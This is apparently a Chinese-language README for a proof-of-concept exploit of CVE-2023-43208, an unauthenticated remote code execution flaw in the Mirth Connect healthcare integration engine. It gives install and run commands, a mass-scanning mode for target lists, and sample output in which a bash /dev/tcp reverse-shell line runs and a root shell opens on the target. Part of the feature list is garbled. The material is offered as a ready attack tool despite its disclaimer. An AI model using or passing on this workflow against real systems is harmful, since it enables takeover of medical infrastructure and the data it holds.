针对 CVE-2023-43208 的概念验证利用程序,该漏洞是 Mirth Connect 版本低于
4.4.1中的一个未经认证的远程代码执行漏洞。
Mirth Connect 是一个广泛部署的开源医疗集成引擎。该漏洞利用 /api/users 端点的 Java 反序列化缺陷,通过精心构造的 XML 负载链式调用 Apache Commons Collections gadget 实现未经认证的远程代码执行。
增强版本将原始的 pwncat 监听器替换为完全无依赖的交互式 PTY Shell,仅使用 Python 内置模块(socket、select、tty、termios)。连接后会自动升级为完整的 PTY Shell。
| 软件 | 受影响版本 | 修复版本 |
|---|---|---|
| Mirth Connect | < 4.4.1 | 4.4.1+ |
python3/python/script)stty rows/cols)pwncat 依赖——监听器仅使用标准库git clone https://github.com/yourrepo/CVE-2023-43208
cd CVE-2023-43208
pip install -r requirements.txt
requests
packaging
rich
alive-progress
python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <PORT>
python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <NGROK_PORT> -bp <LOCAL_PORT>
python3 CVE-2023-43208.py -f targets.txt -t 50 -o vulnerable.txt
[*] Setting up listener on 10.10.15.202:4444 and launching exploit...
[*] Waiting for incoming connection on port 4444...
[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 instance found at https://10.129.5.3
[!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/...'
[*] Launching exploit against https://10.129.5.3...
[+] Received connection from 10.129.5.3:59640
[+] Shell opened! Upgrading to PTY...
root@mirth:/#
本工具仅用于授权的渗透测试和教育目的。
未经授权对你不拥有或未获得明确许可的系统进行使用是非法的。
作者不对因使用本工具造成的任何滥用或损害负责。
| 标志 | 描述 |
|---|
-u, --url | 目标 URL |
-lh, --lhost | 你的监听 IP |
-lp, --lport | 你的监听端口 |
-bp, --bindport | 绑定端口覆盖(与 ngrok 一起使用时有用) |
-f, --file | 包含目标 URL 列表的文件 |
-o, --output | 将易受攻击的目标保存到文件 |
-t, --threads | 扫描线程数(默认:50) |